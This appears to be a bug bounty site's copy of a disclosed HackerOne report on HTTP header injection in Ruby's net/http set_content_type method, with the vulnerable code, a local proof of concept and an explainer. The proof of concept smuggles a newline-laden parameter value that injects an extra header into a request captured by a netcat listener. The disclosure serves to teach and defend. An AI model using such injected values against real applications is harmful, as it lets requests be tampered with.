Skip to content
Smuggling / CRLF Disclosed report Intermediate

'net/http': HTTP Header Injection in the set_content_type method

The Ruby net/http library's set_content_type method did not filter its parameters, so a newline in a parameter value could inject extra HTTP headers into the outgoing request. An attacker who controls such a value could alter the whole request, which in a web application could range from information disclosure to code execution.

sighook Follow

Originally disclosed on HackerOne

High 7.2 View original
  • Triaged in under an hour
  • Disclosed after 10 months

The set_content_type's parameter is not filtered to prevent the injection from altering the entire request.

The vulnerable code:

Ruby
  def set_content_type(type, params = {})
    @header['content-type'] = [type + params.map{|k,v|"; #{k}=#{v}"}.join('')]
  end

PoC

Ruby
require 'net/http'

uri = URI('http://127.0.0.1:8080')
req = Net::HTTP::Post.new(uri)
req.set_content_type('text/html', "charset" => "iso-8859-1\nHeader:Inject")

resp = Net::HTTP.start(uri.hostname, uri.port) do |http|
  http.request(req)
end
$ nc -lvp 8080
Listening on 0.0.0.0 8080
Connection received on localhost 57620
POST / HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Host: 127.0.0.1:8080
Content-Type: text/html; charset=iso-8859-1
Header:Inject # <<<<<<<<
Content-Length: 0

I set the same severity as CVE-2020-26116 has.

Impact

In web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability.

The original report as published on HackerOne, by sighook. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The method concatenated the caller-supplied type and parameter values into the header string without rejecting or stripping newline characters, so a value could break out of its header line.

Impact

In web applications a CRLF injection can have severe impacts, depending on what the application does with single items, ranging from information disclosure to code execution.

What the attacker needed

Attacker controls a content-type parameter value; application uses the affected library

How it was found

  1. Start a local listener on a chosen port to capture the raw request.
  2. Build a POST request to that address and call set_content_type with a parameter value containing a newline followed by an extra header.
  3. Send the request and inspect the captured bytes to see the injected header on its own line.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program sends a web request, it writes lines of text: a request line, then headers, then a blank line, then the body. A newline character marks the end of a line, so if a value placed into a header contains a newline, everything after it is treated as a new header. Here the library that builds the request did not remove newlines from a value the caller supplies, so an extra header could be slipped in.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by sighook

View all

10 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.